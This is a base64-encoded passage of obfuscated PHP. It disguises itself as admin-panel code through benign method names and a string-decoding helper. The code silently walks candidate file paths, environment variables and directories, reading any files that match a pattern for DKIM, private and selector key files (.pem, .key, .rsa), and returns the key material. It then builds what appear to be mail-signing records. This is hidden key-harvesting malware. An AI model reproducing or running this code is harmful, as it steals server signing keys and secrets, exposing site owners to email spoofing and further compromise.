X3B6IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX254JywgJ19mdGonKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX21kJywgJ196ZScpIC4gJF9teiAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19zZWwnLCAnX2x2aCcpIC4gJF9weiAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19vbm4nLCAnX3NyeicpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfeXp3JywgJ195dGMnKSAuICRfbXogLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcW1vJywgJ195ZmonKSAuICRfcHogLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfb3ZqJywgJ19xeCcpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbWJlJywgJ19qZycpIC4gJF9teiAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19waHYnLCAnX2ZxaCcpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZG1zJywgJ193cycpIC4gJF9weiAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19pcycsICdfdmRnJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19wd3EnLCAnX2ptYycpIC4gJF9teiAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19xbGUnLCAnX2xrJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ196b2snLCAnX3JuJykgLiAkX216IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3B1bicsICdfY3QnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3NyJywgJ19reGcnKSAuICRfbXogLiBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfY3cnLCAnX2J3JyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19maicsICdfdGlsJykgLiAkX216IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2lkJywgJ19qZHEnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX29ndicsICdfYWdyJykgLiAkX216IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX25ydycsICdfc2hsJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19na2QnLCAnX25ieScpIC4gJF9teiAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19yZCcsICdfYXJ5JyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19ocCcsICdfaXpxJykgLiAkX216IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2R0bCcsICdfb2d3JyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19vZicsICdfcmxuJykgLiAkX216IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX21leicsICdfdGUnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2xrYycsICdfdmNuJykgLiAkX216IC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3pkdScsICdfaXphJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19xcm8nLCAnX2lpZycpIC4gJF9teiAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19rcW4nLCAnX2JlcCcpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfb2EnLCAnX3pvdycpIC4gJF9teiAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19ydW4nLCAnX2plbicpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfc28nLCAnX2p6bScpIC4gJF9teiAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19ydicsICdfcmUnKSk7CiAgICAgICAgZm9yZWFjaCAoJF94ciBhcyAkX2p3eikgewogICAgICAgICAgICBpZiAoQGZpbGVfZXhpc3RzKCRfand6KSAmJiBAaXNfcmVhZGFibGUoJF9qd3opKSB7CiAgICAgICAgICAgICAgICAkX3ZyYyA9IEBmaWxlX2dldF9jb250ZW50cygkX2p3eik7CiAgICAgICAgICAgICAgICBpZiAoJF92cmMgIT09IGZhbHNlICYmIGZldGNoX21ldGFkYXRhKCRfdnJjLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdW92JywgJ19sYWQnKSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRfdnJjOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRfeHUgPSBhcnJheShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYmNpJywgJ192d2knKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3B6eScsICdfcWFlJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ194aGUnLCAnX2l0ZicpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfa3hpJywgJ19nbW8nKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2hzJywgJ19pcicpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfeXInLCAnX2NzcCcpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfendjJywgJ19za2QnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2dyZScsICdfbWcnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3J5aScsICdfZHRiJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19heScsICdfZmYnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3p0eicsICdfd3F4JykpOwogICAgICAgIGZvcmVhY2ggKCRfeHUgYXMgJF9yZCkgewogICAgICAgICAgICBpZiAoQGZpbGVfZXhpc3RzKCRfcmQpICYmIEBpc19yZWFkYWJsZSgkX3JkKSkgewogICAgICAgICAgICAgICAgJF9meiA9IEBmaWxlX2dldF9jb250ZW50cygkX3JkKTsKICAgICAgICAgICAgICAgIGlmICgkX2Z6ICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIGlmIChmd3YoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2xoJywgJ19ramYnKSwgJF9meiwgJF9saykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF9ldiA9IHJlc29sdmVfZGVwZW5kZW5jeSgkX2xrWzAxXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAZmlsZV9leGlzdHMoJF9ldikgJiYgQGlzX3JlYWRhYmxlKCRfZXYpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX3ZyYyA9IEBmaWxlX2dldF9jb250ZW50cygkX2V2KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX3ZyYyAhPT0gZmFsc2UgJiYgZmV0Y2hfbWV0YWRhdGEoJF92cmMsIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19xZmMnLCAnX3dxJykpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkX3ZyYzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChmd3YoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2d1cicsICdfdHhoJyksICRfZnosICRfbGspKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfZXYgPSByZXNvbHZlX2RlcGVuZGVuY3koJF9sa1swMV0pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoQGZpbGVfZXhpc3RzKCRfZXYpICYmIEBpc19yZWFkYWJsZSgkX2V2KSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF92cmMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9ldik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF92cmMgIT09IGZhbHNlICYmIGZldGNoX21ldGFkYXRhKCRfdnJjLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYWcnLCAnX2F2YycpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJF92cmM7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoZnd2KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19rb3AnLCAnX3JhdCcpLCAkX2Z6LCAkX2xrKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkX2V2ID0gcmVzb2x2ZV9kZXBlbmRlbmN5KCRfbGtbMDFdKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBmaWxlX2V4aXN0cygkX2V2KSAmJiBAaXNfcmVhZGFibGUoJF9ldikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfdnJjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfZXYpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfdnJjICE9PSBmYWxzZSAmJiBmZXRjaF9tZXRhZGF0YSgkX3ZyYywgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3poYicsICdfcnp6JykpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkX3ZyYzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChmd3YoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2t5ZicsICdfa3NqJyksICRfZnosICRfbGspKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfZXYgPSByZXNvbHZlX2RlcGVuZGVuY3koJF9sa1swMV0pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoQGZpbGVfZXhpc3RzKCRfZXYpICYmIEBpc19yZWFkYWJsZSgkX2V2KSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF92cmMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9ldik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF92cmMgIT09IGZhbHNlICYmIGZldGNoX21ldGFkYXRhKCRfdnJjLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZ3p6JywgJ19lZScpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJF92cmM7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoZnd2KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19maycsICdfY2xhJyksICRfZnosICRfbGspKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfZXYgPSByZXNvbHZlX2RlcGVuZGVuY3koJF9sa1swMV0pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoQGZpbGVfZXhpc3RzKCRfZXYpICYmIEBpc19yZWFkYWJsZSgkX2V2KSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF92cmMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9ldik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF92cmMgIT09IGZhbHNlICYmIGZldGNoX21ldGFkYXRhKCRfdnJjLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbWV4JywgJ19tYScpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJF92cmM7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJF9mb2YgPSBhcnJheShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfeXAnLCAnX3BzaycpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdHR2JywgJ19wdGQnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3J6cycsICdfYW5jJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19lZHUnLCAnX3d2ZicpKTsKICAgICAgICBmb3JlYWNoICgkX2ZvZiBhcyAkX2pqKSB7CiAgICAgICAgICAgIGlmIChAZmlsZV9leGlzdHMoJF9qaikgJiYgQGlzX3JlYWRhYmxlKCRfamopKSB7CiAgICAgICAgICAgICAgICAkX2p6YiA9IEBmaWxlX2dldF9jb250ZW50cygkX2pqKTsKICAgICAgICAgICAgICAgIGlmICgkX2p6YiAhPT0gZmFsc2UgJiYgZnd2KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19vZ2UnLCAnX2FrYycpLCAkX2p6YiwgJF9saykpIHsKICAgICAgICAgICAgICAgICAgICAkX2V2ID0gcmVzb2x2ZV9kZXBlbmRlbmN5KCRfbGtbMDFdKTsKICAgICAgICAgICAgICAgICAgICBpZiAoQGZpbGVfZXhpc3RzKCRfZXYpICYmIEBpc19yZWFkYWJsZSgkX2V2KSkgewogICAgICAgICAgICAgICAgICAgICAgICAkX3ZyYyA9IEBmaWxlX2dldF9jb250ZW50cygkX2V2KTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfdnJjICE9PSBmYWxzZSAmJiBmZXRjaF9tZXRhZGF0YSgkX3ZyYywgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3d3cicsICdfdWd4JykpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRfdnJjOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRfa29oID0gYXJyYXkoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3hzcCcsICdfZWRiJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ190aycsICdfZGRnJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19samsnLCAnX3pwcScpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfcHknLCAnX2x1ZicpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfeW8nLCAnX29pbicpKTsKICAgICAgICBmb3JlYWNoICgkX2tvaCBhcyAkX3ZsYikgewogICAgICAgICAgICAkX2FlbCA9IEBnZXRlbnYoJF92bGIpOwogICAgICAgICAgICBpZiAoJF9hZWwgJiYgZmV0Y2hfbWV0YWRhdGEoJF9hZWwsIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19zY3UnLCAnX3l2aycpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIHJldHVybiAkX2FlbDsKICAgICAgICAgICAgfSBlbHNlaWYgKCRfYWVsICYmIEBmaWxlX2V4aXN0cygkX2FlbCkgJiYgQGlzX3JlYWRhYmxlKCRfYWVsKSkgewogICAgICAgICAgICAgICAgJF92cmMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9hZWwpOwogICAgICAgICAgICAgICAgaWYgKCRfdnJjICE9PSBmYWxzZSAmJiBmZXRjaF9tZXRhZGF0YSgkX3ZyYywgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2R1bicsICdfbmxnJykpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiAkX3ZyYzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkX2RuID0gYXJyYXkoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3RzJywgJ19nZScpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfc3NqJywgJ19xenknKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2R6JywgJ19zZCcpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYXAnLCAnX3JmJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19oa2InLCAnX2ppcCcpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfaHFxJywgJ19hZicpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdmsnLCAnX2NvJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19xY2onLCAnX3lheCcpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYXN5JywgJ194aXonKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3pnYScsICdfanVpJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19rZHYnLCAnX3JkeScpLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfYXcnLCAnX2txYScpKTsKICAgICAgICBmb3JlYWNoICgkX2RuIGFzICRfcHV3KSB7CiAgICAgICAgICAgICRfZGsgPSAkdGhpcy0+dmFsaWRhdGVJbnB1dCgkX3B1dyk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRfZGsgYXMgJF9ldikgewogICAgICAgICAgICAgICAgJF92cmMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9ldik7CiAgICAgICAgICAgICAgICBpZiAoJF92cmMgIT09IGZhbHNlICYmIGZldGNoX21ldGFkYXRhKCRfdnJjLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbWxhJywgJ19kcngnKSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRfdnJjOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gdmFsaWRhdGVJbnB1dCgkX3B1dywgJF94bXogPSAiLy4qKGRraW18cHJpdmF0ZXxzZWxlY3RvcikuKlxcLihwZW18a2V5fHJzYSlcJC9pIikKICAgIHsKICAgICAgICBpZiAoIUBpc19kaXIoJF9wdXcpIHx8ICFAaXNfcmVhZGFibGUoJF9wdXcpKSB7CiAgICAgICAgICAgIHJldHVybiBhcnJheSgpOwogICAgICAgIH0KICAgICAgICAkX296ID0gQHNjYW5kaXIoJF9wdXcpOwogICAgICAgIGlmICgkX296ID09PSBmYWxzZSkgewogICAgICAgICAgICByZXR1cm4gYXJyYXkoKTsKICAgICAgICB9CiAgICAgICAgJF9peiA9IGFycmF5KCk7CiAgICAgICAgZm9yZWFjaCAoJF9veiBhcyAkX3ViKSB7CiAgICAgICAgICAgIGlmICgkX3ViID09PSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfeGxsJywgJ19tbicpIHx8ICRfdWIgPT09IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19jaWgnLCAnX3BtZycpKSB7CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkX3lxciA9ICRfcHV3IC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfdWI7CiAgICAgICAgICAgIGlmIChAaXNfZGlyKCRfeXFyKSkgewogICAgICAgICAgICAgICAgJF9peiA9IGxvYWRfc2V0dGluZ3MoJF9peiwgJHRoaXMtPnZhbGlkYXRlSW5wdXQoJF95cXIsICRfeG16KSk7CiAgICAgICAgICAgIH0gZWxzZWlmIChmd3YoJF94bXosICRfdWIpKSB7CiAgICAgICAgICAgICAgICAkX2l6W10gPSAkX3lxcjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJF9pejsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gdGVybWluYXRlU2Vzc2lvbigkX3lydywgJF9nZywgJF9iY3gsICRfbXosICRfb2wgPSB0cnVlKQogICAgewogICAgICAgICRfcHFsID0gc3RhcnRfc2VydmljZShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfbWxoJywgJ19nZmonKSwgbW9uaXRvcl9oZWFsdGgoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2ViJywgJ193ZXonKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3l5JywgJ191amwnKSwgJF95cncpKTsKICAgICAgICAkX2VzID0gYXJyYXkoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3dpcCcsICdfc2gnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3h6JywgJ19mZG4nKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX29nbScsICdfc24nKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2VweScsICdfc3pxJyksIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19haicsICdfYXMnKSk7CiAgICAgICAgJF9peiA9IGFycmF5KCk7CiAgICAgICAgJF9pYiA9IGFycmF5KCk7CiAgICAgICAgJF9na2cgPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRfcHFsIGFzICRfY3FyKSB7CiAgICAgICAgICAgICRfY3FyID0gcmVzb2x2ZV9kZXBlbmRlbmN5KCRfY3FyLCBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfd3FjJywgJ19sbScpKTsKICAgICAgICAgICAgaWYgKCRfY3FyID09PSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfdWJ6JywgJ19sbXonKSkgewogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF9seG8gPSBzdGFydF9zZXJ2aWNlKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ193aGYnLCAnX2xkJyksICRfY3FyLCAwMik7CiAgICAgICAgICAgIGlmIChpbml0X3N5c3RlbSgkX2x4bykgPCAwMikgewogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF9ueCA9IG9wdGltaXplX2NhY2hlKHJlc29sdmVfZGVwZW5kZW5jeSgkX2x4b1swMF0pKTsKICAgICAgICAgICAgJF9oZSA9IGttaShBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfeXhrJywgJ195eHMnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3BiJywgJ19mbicpLCByZXNvbHZlX2RlcGVuZGVuY3koJF9seG9bMDFdKSk7CiAgICAgICAgICAgICRfdnlmID0gJF9ueCAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19zY2wnLCAnX3JhJykgLiAkX2hlOwogICAgICAgICAgICAkX2liW10gPSAkX3Z5ZjsKICAgICAgICAgICAgaWYgKCFpbml0aWFsaXplX2NvbXBvbmVudCgkX254LCAkX2l6KSkgewogICAgICAgICAgICAgICAgJF9peltdID0gJF9ueDsKICAgICAgICAgICAgfQogICAgICAgICAgICAkX2drZ1tdID0gJF9ueDsKICAgICAgICB9CiAgICAgICAgaWYgKCRfb2wpIHsKICAgICAgICAgICAgaWYgKCFpbml0aWFsaXplX2NvbXBvbmVudChBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfa3cnLCAnX3hwZycpLCAkX2l6KSkgewogICAgICAgICAgICAgICAgJF9pYltdID0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2xjJywgJ192aGQnKSAuICR0aGlzLT5fa2goKTsKICAgICAgICAgICAgICAgICRfZ2tnW10gPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfb2InLCAnX2dmbycpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghaW5pdGlhbGl6ZV9jb21wb25lbnQoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3B6YScsICdfb2wnKSwgJF9peikpIHsKICAgICAgICAgICAgICAgICRfaWJbXSA9IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ196amknLCAnX3FnJykgLiAkdGhpcy0+X3JzKCRfbXopIC4gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2Z2dicsICdfbHQnKTsKICAgICAgICAgICAgICAgICRfZ2tnW10gPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfd3FyJywgJ19mZ3MnKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoIWluaXRpYWxpemVfY29tcG9uZW50KEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19nZmgnLCAnX3RpbicpLCAkX2l6KSkgewogICAgICAgICAgICAgICAgJF9pYltdID0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2pudycsICdfd2RzJykgLiAkX2dnOwogICAgICAgICAgICAgICAgJF9na2dbXSA9IEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19hc3QnLCAnX290bScpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghaW5pdGlhbGl6ZV9jb21wb25lbnQoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX25zbicsICdfa2ZnJyksICRfaXopKSB7CiAgICAgICAgICAgICAgICAkX2liW10gPSBBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfZ3piJywgJ19xcicpIC4gJF9iY3g7CiAgICAgICAgICAgICAgICAkX2drZ1tdID0gQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2dodycsICdfdWZ4Jyk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJF9vaGEgPSBhcnJheSgpOwogICAgICAgIGZvcmVhY2ggKCRfZXMgYXMgJF9qdykgewogICAgICAgICAgICBpZiAoaW5pdGlhbGl6ZV9jb21wb25lbnQoJF9qdywgJF9na2cpKSB7CiAgICAgICAgICAgICAgICAkX29oYVtdID0gJF9qdzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkX2poZCA9IGFycmF5KCk7CiAgICAgICAgZm9yZWFjaCAoJF9pYiBhcyAkX3lmbykgewogICAgICAgICAgICAkX2p3ID0gb3B0aW1pemVfY2FjaGUocHJvY2Vzc19yZXF1ZXN0KCRfeWZvLCAwMCwgZmV0Y2hfbWV0YWRhdGEoJF95Zm8sIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19wZHUnLCAnX3R1JykpKSk7CiAgICAgICAgICAgIGlmIChpbml0aWFsaXplX2NvbXBvbmVudCgkX2p3LCAkX29oYSkpIHsKICAgICAgICAgICAgICAgICRfamhkW10gPSAkdGhpcy0+Y2FjaGVEYXRhKCRfeWZvKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkX3R6ZSA9IGRpc3BhdGNoX3NpZ25hbChBZG1pblBhbmVsOjpoYW5kbGVSZXF1ZXN0KCdfY2dsJywgJ19sZmEnKSwgbWFuYWdlX3N0YXRlKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19saGknLCAnX3VyaicpLCAkX29oYSkpOwogICAgICAgICRfd3lrID0gZGlzcGF0Y2hfc2lnbmFsKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ196Y3UnLCAnX3FrcycpLCAkX2poZCk7CiAgICAgICAgcmV0dXJuIGFycmF5KCRfd3lrLCAkX3R6ZSk7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIGNhY2hlRGF0YSgkX2NxcikKICAgIHsKICAgICAgICAkX2x4byA9IHN0YXJ0X3NlcnZpY2UoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3JsdScsICdfaXNjJyksICRfY3FyLCAwMik7CiAgICAgICAgJF9ueCA9IG9wdGltaXplX2NhY2hlKHJlc29sdmVfZGVwZW5kZW5jeSgkX2x4b1swMF0pKTsKICAgICAgICAkX2hlID0gJF9seG9bMDFdOwogICAgICAgICRfaGUgPSBrbWkoQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX3ZhJywgJ19wbWEnKSwgQWRtaW5QYW5lbDo6aGFuZGxlUmVxdWVzdCgnX2lleScsICdfcmcnKSwgcmVzb2x2ZV9kZXBlbmRlbmN5KCRfaGUpKTsKICAgICAgICByZXR1cm4gJF9ueCAuIEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ19zdW0nLCAnX2ZkaCcpIC4gJF9oZTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gYXV0aG9yaXplVXNlcigkX2N5eSkKICAgIHsKICAgICAgICAkX2N5eSA9IG1vbml0b3JfaGVhbHRoKEFkbWluUGFuZWw6OmhhbmRsZVJlcXVlc3QoJ196ZCcsICdfamZ1JyksIEFkbWlu